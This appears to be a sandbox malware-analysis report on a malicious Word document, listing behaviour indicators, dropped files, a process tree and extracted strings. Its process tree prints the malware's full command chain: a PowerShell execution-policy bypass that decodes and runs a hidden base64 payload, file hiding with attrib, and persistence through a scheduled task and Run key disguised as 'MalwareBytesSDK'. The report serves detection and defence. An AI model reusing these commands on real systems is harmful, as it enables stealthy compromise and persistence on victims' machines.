  "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll" at E0740000
  
  source
  
  Loaded Module
- Process launched with changed environment
  
  details
  
  Process "wscript.exe" (Show Process) was launched with new environment variables: "WecVersionForRosebud.C8C="4""
  Process "wscript.exe" (Show Process) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles"
  Process "wscript.exe" (Show Process) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432"
  Process "powershell.exe" (Show Process) was launched with modified environment variables: "MEOW"
  Process "attrib.exe" (Show Process) was launched with new environment variables: "PSExecutionPolicyPreference="Bypass""
  Process "attrib.exe" (Show Process) was launched with modified environment variables: "PSModulePath"
  Process "Setup.exe" (Show Process) was launched with modified environment variables: "MEOW, PSModulePath"
  Process "Setup.exe" (Show Process) was launched with missing environment variables: "PSExecutionPolicyPreference"
  
  source
  
  Monitored Target
  
  relevance
  
  10/10
- Scanning for window names
  
  details
  
  "WINWORD.EXE" searching for class "NetUICtrlNotifySink"
  "WINWORD.EXE" searching for class "REListbox20W"
  "WINWORD.EXE" searching for class "OfficeTooltip"
  "WINWORD.EXE" searching for class "MsoCommandBarPopup"
  "WINWORD.EXE" searching for class "MSOBALLOON"
  "WINWORD.EXE" searching for class "MsoHelp10"
  "WINWORD.EXE" searching for class "AgentAnim"
  "WINWORD.EXE" searching for class "mspim_wnd32"
  
  source
  
  API Call
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1010 (Show technique in the MITRE ATT&CK™ matrix)
- Spawns new processes
  
  details
  
  Spawned process "wscript.exe" with commandline ""%ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs"" (Show Process)
  Spawned process "mshta.exe" with commandline "vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run""pow ..." (Show Process), Spawned process "powershell.exe" with commandline "-w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encodin ..." (UID: 00008857-00003784, Additional Context: "[System.Text.Encoding]::Unicode.GetString(FromBase64String((getontent %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini))); \{^ -DE#8R &LC7 >#yBwjvzS[System.Text.Encoding]::Unicode.GetString(FromBase64String((get-content %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini)))"), Spawned process "attrib.exe" with commandline "+s +h %ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs" (Show Process), Spawned process "attrib.exe" with commandline "+s +h %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini" (Show Process), Spawned process "schtasks.exe" with commandline "/Create /RU system /SC ONLOGON /TN Microsoft\WindowsMalwareByteS ..." (Show Process), Spawned process "Setup.exe" with commandline "-Embedding" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  3/10
Installation/Persistance
- Dropped files
  
  details
  
  "ConfManagerNT.vbs" has type "Little-endian UTF-16 Unicode text with very long lines"
  "~_5aee026074fbd18f780fb51ec0632a.doc" has type "data"
  "d15aee026074fbd18f780fb51ec0632a.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Sat Dec 8 13:20:27 2018 mtime=Sat Dec 8 13:20:27 2018 atime=Sat Dec 8 13:20:36 2018 length=983040 window=hide"
  "ProjectConfManagerNT.ini" has type "Little-endian UTF-16 Unicode text with very long lines with no line terminators"
  "~WRS_12145297-CBEE-4101-BDC6-F8BD546DB9A4_.tmp" has type "data"
  "BACF462D.wmf" has type "ms-windows metafont .wmf"
  "10201FDC.wmf" has type "ms-windows metafont .wmf"
  "index.dat" has type "data"
  "17GPJA9KU9GW9OODB6Z0.temp" has type "data"
  "~WRS_A3F12A40-44A8-4808-8AB8-97799042790C_.tmp" has type "data"
  "SetupExe_20181208163200B84_.log" has type "ASCII text with CRLF line terminators"
  "ExcludeDictionaryEN0409.lex" has type "Little-endian UTF-16 Unicode text with no line terminators"
  "GimmeSetup_20181208163340B84_.log" has type "ASCII text with very long lines with CRLF line terminators"
  "MSForms.exd" has type "data"
  "~_Normal.dotm" has type "data"
  
  source
  
  Binary File
  
  relevance
  
  3/10
- Modifies auto-execute functionality by setting/creating a value in the registry
  
  details
  
  "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "MALWAREBYTESDK"; Value: "wscript %ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs")
  "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "MALWAREBYTESDK"; Value: "wscript %ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs")
  
  source
  
  Registry Access
  
  relevance
  
  8/10
  
  ATT&CK ID
  
  T1060 (Show technique in the MITRE ATT&CK™ matrix)
- Touches files in the Windows directory
  
  details
  
  "WINWORD.EXE" touched file "%WINDIR%\Globalization\Sorting\SortDefault.nls"
  "WINWORD.EXE" touched file "%WINDIR%\System32\rsaenh.dll"
  "WINWORD.EXE" touched file "%WINDIR%\System32\en-US\msctf.dll.mui"
  "WINWORD.EXE" touched file "%WINDIR%\System32\spool\drivers\x64\3\SendToOneNoteNames.gpd"
  "WINWORD.EXE" touched file "%WINDIR%\System32\spool\drivers\x64\3\SendToOneNote.ini"
  
  source
  
  API Call
  
  relevance
  
  7/10
Network Related
- Found potential URL in binary/memory
  
  details
  
  Heuristic match: "C[q2WGiVQ6}.tN"
  Pattern match: "qA.gJb/Uu"
  Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/service"
  Pattern match: "http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"
  Pattern match: "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter"
  Pattern match: "http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
  Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/WQL"
  Pattern match: "http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"
  Pattern match: "http://schemas.dmtf.org/wbem/wsman/1/wsman/results"
  Heuristic match: "wscript.echo L_Text_Msg_General01_Text & L_Space_Text & oDriver.Name"
  Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/wmi"
  Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2"
  Pattern match: "http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2"
  Pattern match: "http://schemas.microsoft.com/wbem/wsman/1"
  Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell"
  Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM"
  
  source
  
  File/Memory
  
  relevance
  
  10/10

File Details

All Details:

d15aee026074fbd18f780fb51ec0632a.doc

Filename: d15aee026074fbd18f780fb51ec0632a.doc
Size: 960KiB (983040 bytes)
Type: doc office
Description: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Feb 12 11:20:00 2018, Last Saved Time/Date: Tue Feb 13 06:52:00 2018, Number of Pages: 1, Number of Words: 26, Number of Characters: 152, Security: 0
Architecture
: WINDOWS
SHA256
: af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102
MD5
: d15aee026074fbd18f780fb51ec0632a
SHA1
: 352687a98fb232e5614f7ce7cd57512553535915
ssdeep
: 12288:5XxYnZLfy5r9uJxShtcfUK58ejANqsqZ/ZpUPNj+H8dUpKh4L1g1rX3:5X+NC9jhtUJuejkqNBp1jKR1

Resources

Icon

Visualization

Input File (PortEx)

Screenshots

Loading content, please wait...

Hybrid Analysis

Tip: Click an analysed process below to view more details.

Analysed 8 processes in total.

WINWORD.EXE /n "C:\d15aee026074fbd18f780fb51ec0632a.doc" (PID: 3212)
- wscript.exe "%ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs" (PID: 3392)
  - mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run""powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini))));"",0 ")) (PID: 2844)
    - powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini)))); (PID: 3784, Additional Context: [System.Text.Encoding]::Unicode.GetString(FromBase64String((getontent %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini))); ��\�{^�� -D�E#�8R &LC7� �>�#y�B�w�jv�z�S[System.Text.Encoding]::Unicode.GetString(FromBase64String((get-content %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini))))
      - attrib.exe +s +h %ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs (PID: 2372)
      - attrib.exe +s +h %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini (PID: 2640)
      - schtasks.exe /Create /RU system /SC ONLOGON /TN Microsoft\WindowsMalwareByteSDK /TR "wscript %ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs" /F (PID: 3076)
Setup.exe -Embedding (PID: 2948)

Logged Script Calls	Logged Stdout	Extracted Streams	Memory Dumps
Reduced Monitoring	Network Activityy	Network Error	Multiscan Match

Network Analysis

This report was generated with enabled TOR analysis

DNS Requests

No relevant DNS requests were made.

Contacted Hosts

No relevant hosts were contacted.

HTTP Traffic

No relevant HTTP requests were made.

Extracted Strings

Download All Memory Strings (4.6KiB)

!!"`MRc7AN{<OVg5g18,IqhB*uYj}_opyngMF>=O<G#<!X^A< MP_[K2~wc9c|^T2Yx<|uh?sc9\^~D&.$"if%t='WR[g,.pu">jRjhj(ilFt[H80-SQEq<[QT<iL[7qz"LQ$T#%tl@N>sZUW

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWYZ[\]^_`abcdghijklmo-!!-!!-!!iii-!!.2

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHTOSRUVWcdYZ[\]g_`abcdefXhijklmnopqrstuvwxyz{|}~Root EntryFV&QData

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!+,?&spq|d/Oa=-tbBD9GOqV63YSS00=6Jvgyx'3'[.ZdVmE`vP*'x"nQ5*Oa#t#N1',.IYV6V"ln%*DG6pUg7;nN}}\aN|^N2X)'ko8,s;wKv-lY*D=%?%nW^TcO$K1d>v\l+F.,,[-A

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!/L:rmf?iHj.ZCP5A:0O_)wkV?~I}H41,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!5"@.#]G3Qhf?w@ w!@ B@ !/!.6j

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!>i>WM?{7.,/>N~?_r{qotz>?(IV]S?=Snrx--~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!?UxKO#5:'y9tSwW7y+W9w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

![(#{'yKA{~EL:h2N$<)0m:*t

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!i%,qcvi{WB,s5q%ee2l)@,bBBK+9U3^Py18~D|L#pnc/ewWWH?HZM][@~q(plZpIP72)[ v>)9AqtVjW)97Z7votv-n%>t~fy<K=eT";nxuF/4=|EVdz,#nBQUU17%~[IEJ+j3;Y2WQ*b&# 499xp?I3!bnP>6>!UwW~jk}de{$|V|,_I|Qz9-.jt[&;Lp$-C=f,od|L3CsjI&{" MnE

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!K_Np_n-|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!q!{Mwad'7'r<~M5^:{G

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!r{Nb*K2~RCjj9yT&S2z%d=bbhA3eB6,`&q8&Uu

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!SgV{~s/&W@*]S KKBzff%CzxW*3rrN;2el`;_OL/{n8~BVC?i9`9fn/a> "q$Kl]{Il|/lP0#KOh2%O>Nm|@fY)~!y09CFl/#7w)<h&Tl[NuqpU

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!vIljkr,_K<x$n/a%k[Nasoy4GEa

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

!~Yvw7r_/+KemkBx~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

""("P"x"""""@h"""""

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

""8"`""""(8"@HPX`px"""""0"X""""" "H"p"""""8"`"""""("PxB""""@"h"""""0"X""""" "HpB"""""@"h"""""0"X""""" "Hpx"""("0"X""""" "H"p"B("@"h"""""0"X""""" "H"p"""""8"`"""" ( 0 @ H P "X " " " "!"8!"`!"!"!"!"""(""P"x""""""""#"0#"X#"#"#"#"#" $H$"`$"$"$"$"%"(%"P%"x%"%"%"%"&"@&"h&"&"&"&' '

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"%ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs"

Ansi based on Process Commandline (wscript.exe)

"%sOrgx#20~^[q.R

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"-xKC*>|GuY-i{r$_i1iS((|c6egjU`T\?-/peJKQ}>J?"vZa <T,,<A^M()|o7*D:py-n`vzA'jbH4ScqOB]`(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"0g/LO.}{H5tQ/O/$en~0W"<Lw![Q&w=b /KA\cE,HPD_z\bg8z8SAM@=;{v

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

":8Ww=G8,1?NoOT|/L4_ey?br+s

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

">itG7e%'vtJ/+V"LzHxVaEv%zkql<)n3?t=-i.,KK:KWzO>G/)3a&=%t{8< j< r3'*EzvnU-pti7,NL_J?cU|?FMYj/bwd$2ro:$T71g`&-0E,,\\`g /+)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"?^Y])a6cG~v7Z/&:OSs4<r?P$>`cq{?*ki4YqT&tz].] gg>u?R-.5>`z&(!lJyR0gQ9,a"/XA~lJS8Ob:~c&9UFnaVm9p&N4;7[B!b\^TBXN4#g*$502.=*KO1\_By_lE%O

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"^6;F"Gr$s23mY8:T9)q}kE*l<L.g`1m

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"A^}9.}^>uTYoD,^L2+O<?XFYU-vO~.`>]ngs.Q|Lt|2dy\|CqXJ.$Ie8$(=s4JP+[$,pHF*%bX<jJbjE/;yr^?qgl4+Xw

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"cyU2l;Y-l'5=;:%4N%~W1xe

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"Installed" ARP entry.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Access.en-us\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Access.en-us\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Excel.en-us\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Excel.en-us\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Groove.en-us\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Groove.en-us\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\InfoPath.en-us\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\InfoPath.en-us\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Office.en-us\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Office.en-us\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Office32.en-us\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Office32.en-us\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\OneNote.en-us\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\OneNote.en-us\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Outlook.en-us\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Outlook.en-us\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\PowerPoint.en-us\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\PowerPoint.en-us\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Proofing.en-us\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Proofing.en-us\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\PROPLUS\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\PROPLUS\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Publisher.en-us\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Publisher.en-us\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"Installed" sku component file %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Word.en-us\setup.xml to C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Word.en-us\setup.xml.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

"j_GD`UDOR^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"rp~h:K,\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"tGO[.|z#;e]>4dO:G&=xx&R'}HX^+2E

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"Tj>s/He6JPEjfAc3)xuk,29'cwXC4a9k[U)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"UllMYwoKUHJpdmF0ZSBGdW5jdGlvbiBHZXRFbGVtZW50QXR0cmlidXRlQnlYcGF0aChtc3htbE9iaiwgeHBhdGgsIGF0dHJpYnV0"

Ansi based on Decoded VBA Input (ThisDocument.cls)

"vEvJ,+~aZC@Ea?nCyR)OpH5@ny:W NE;c?G4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"VHQ>%NozmFg96d<7.ef}xL?x&#Xk8Dv9M>c>>#xO~Dy{DvQqgOG4^THg%CL,\@_B,#y}Vabz,N>,}"76"NS#*34SO"y*L*x2b7+ua'VGe=V7t,?}[OTQuFe$:.:-a]~T$p>^2~}o-RHc-0sdMa'&nmtl"wHv3]-88DdmDqZHYGo!Yvq_3z,RLfvO 4"A!w"(:q-lo?it\8B$`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"w[05zoY}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"X.%"n8/s(Z9BH{8o HN66()]@CN`ssTio[ )/*mm+@@TcX5c{j&;!,(VZ}v2md=TRl9'!-'(@v(V_i,@.~ySeb20/8O.Gs^rS{F\ 'w"7EE}#"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"z/)=i-%tyfG2)GreC&`o' =|W,>6LZ&8~_H+6N:)7o+]z{Y"`U3FQ]2e2zovb;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

"{_JfO@I**={"3CWITfvtOj~son<!nzz.*0b uQ+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

##`#Hy003A:Fj?Fe<z9sEy[{D!G/e0wcWj?6Q#YN5~@_Vy}-8YMd/x

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

##wTny?OI2#pP-zNA]N?P0ZUmL*BUg~yvKd!AqKG6}]tHVx\11.4TAG&?%6E~/~.]SuK<g< w[g;#{BL(;KY$x0+X<]xL?eSLx(z=zQ&5%ViPi=sO;q{^'m|WdS:*p6d6$GLV'w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#+E:V]#9kYTai~2)w/p2Oyneo&NA!uH/EOf8DKc-PusDoA4ZlYwVK80xF[)cN-+0WIe%9I$2peraEy'7w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#0[0HU-hpR_MD[n;v2.k+Kyim(#u9@-D>d nH7cIv|ppa:@Gv:t8&s=/vo>rri Jy?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#6a$Mi{ianw&(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#<*d)-d[`G<|'LOd,B2%}gZ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#>)eTw6!N)|v9?dlKvpWD/3=chhn5t$e<{(;rp"PKgO"O;q59PN_GnH+Cf"z(zo)[?kN]vZBp)9a?7n\z2?+gO-:0{TeBLNj2SN"0]+](LFR6xzdPzOwq)~zze ,T]0zlzxG6z

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#aU&$Y_eNW{);}F?c5JSC){~;dgeM_ZgCt:69;R+V:rt8V8QiDPOGsNlO\]zY,.:Rr;T%s>\lv?79"?=YvrFA*!Mm?gye/+zJ$AO~f3d

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#G'<Y$p6(!ufwU;vV{61lm}[K."+v"m;wvT]-B=*~]aE0`1FmB*O>O~=OsvwMrn~f+S<5X]3f#`fS;>=ts8~pF!w2H}g#[l6mh>=#z;vv!G$,?+wly3-F?lTZ_<tD52>zd[q,6Kx8+v%i'iu/r|pa{"w5<zE;Lq9mLf1c!s1aP!u}v_keCkwt?e<^:<yr8p@#:O#mE>"L>}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#GxZ|=zk?Vg$'zxnU^K##L\%}pc;5W|--9z$zjn]f7B#A<0<CdCQD${w;ym]c;s*E@G:Tf'X/9b-&eo~gL`N'c!.9:SH^I#y3UZmnP?5[;3|6@Ap[exOAz_2p2V

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#L1B=e]]2*+erzvW.[{eeLH?x&nWCRM^XP@`rN".poMa1K[-zw*}:d}f}T$$x#9?_}M>z)#<7wn-weOz(?ORRh{o#/R9VQj.QE~~WRVs^@SWj]mKTQUxfis7^1~-f$c5Z\XA$F%!SQD8Rt<`iCd1NIS4]@R` G,<KwCZIG}*2!&Ni qH+W)IYy;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#L4d4YD#F//m~.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#lt;vN_m!df(|JE0ss~dQwF[N~@T+j>Q|"VH t]'U4htZ !a5"i35YK?aitn/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#M$~Df2aU1_=9*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#nGeF9"lwoA`GI8`!$'J

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#nk";> OT>h84VUF!!\!_yw8o|kq8yr3qg{>HSS}b6j6$mx)?!H[#p4V;c]To[aubw`)fIFV{la4BBJ=O}NP(FAsW\SZUa2#I'|sI%8~vw-k03/g)fzUdr=z

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#si8FICdh;.mPb>'Gni1%]DCV4k%}w.-Qf^4"w?jX%(#~6QAV1p{rY*vf{?*z~cqOklR7+KezV~`f+HRBk6oANz{nY)o,X1Xf#Cx2

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#X;>'LHe!LigIHV8B'II[K#^r(SF^EWU~}uYXuM9NlU&,b[lmH2{4/A.yoY\+tLc&w4WqTk>jhCZXk:pOONF

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#Yn1n+F:-Q~G`/sg,:if~.l9408o+ lOGiesa^=$~G/y0/76ZWqwubZ\Z#LN x^q<}kFiY{P'j4V/yDXe8vqWkp&hagkp&~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#|>Y[wW<&

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#|RSo0H-0WR[<uzx

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

#~a!/'ON]-|rxm)sF^QN?<{6M7KM

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

$ ^_\&m9N_Vz<~2=iPspQvts36&Wzso{`^op6_

